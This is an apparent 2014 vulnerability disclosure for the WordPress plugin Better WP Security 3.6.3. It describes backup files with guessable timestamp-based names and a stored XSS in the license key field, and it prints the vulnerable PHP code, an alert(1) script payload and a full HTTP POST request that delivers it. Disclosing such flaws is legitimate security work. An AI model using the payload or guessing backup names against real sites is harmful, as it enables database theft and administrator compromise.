WordPress Better WP Security 3.6.3 XSS / Disclosure

`###################################################################################################################################  
# Exploit Title: Wordpress Plugin - Better WP Security multiple vulnerability  
# Date: 2014 11 Fabruary  
# Exploit Author: Yashar shahinzadeh  
# Special thanks to Mormoroth  
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir  
# Vendor Homepage: https://wordpress.org/plugins/better-wp-security/  
# Tested on: Linux & Windows, PHP 5.3.2  
# Affected Version : 3.6.3 (Last)  
#  
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }  
###################################################################################################################################  
  
Summary:  
========  
1. Information Disclosure (Database Backup)  
2. Persisted XSS  
2. Further Information  
  
1. Information Disclosure (Database Backup):  
============================================  
The Better WP Security suffers from information disclosure. In backup section, there are two options. Firstly, emailing backup file via email which is secured enough.   
Secondly , the backup files can be stored in /wp-content/plugins/better-wp-security/backups/ folder. It's protected by an index, althoguh it's named by a weak random function.  
  
Vulnerable code:  
  
...  
...  
$return .= PHP_EOL . PHP_EOL;  
  
//save file  
$file = 'database-backup-' . current_time( 'timestamp' );  
$handle = @fopen( BWPS_PP . 'backups/' . $file . '.sql', 'w+' );  
@fwrite( $handle, $return );  
@fclose( $handle );  
...  
...  
  
current_time() function is a Wordpress's function which returns current timestamp. As it can be seen, 'database-backup-' is hardcoded, so guessing or carrying out a brute force attack   
isn’t hard.  
  
  
2. Persisted XSS:  
=================  
The Better WP Security also suffers from stored XSS. In the premium box, by entering a valid key user can upgrade plugin to premium. Escaping is applied on the inputs.   
However, it isn't sufficient to prevent occurring XSS. The key is stored in database within wp_options table. better-wp-security_licensekey holds the input's value. The plugin  
reads the key from database, then the key is shown to user and it's triggering the vulnerability. So, submiting "><scrip>alert(1)</script> would be a dimonstration.  
  
POST /wordpress-3.8/wp-admin/admin-ajax.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://localhost/wordpress-3.8/wp-admin/admin.php?page=better-wp-security  
Content-Length: 154  
Cookie: wordpress_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C751462ff973e5134c6754a1f9e632196; wp-settings-time-1=1392116314; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C0c253ec7ed5976931c8480ab85be8c1f  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
action=foolic_validate_license-better-wp-security&license=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&nonce=71277a8a19&input=better-wp-security%5Blicense%5D  
  
  
Stored XSS in administration panel can be leveraged to exploit another administrator (client hacking) or even be a small piece in a chain of attack’s steps.  
  
  
3. Further Information:  
=======================  
Further analysis about backup function can be found at my blog, http://blog.y-shahinzadeh.ir  
  
/** Yasshar Shahinzadeh **/  
`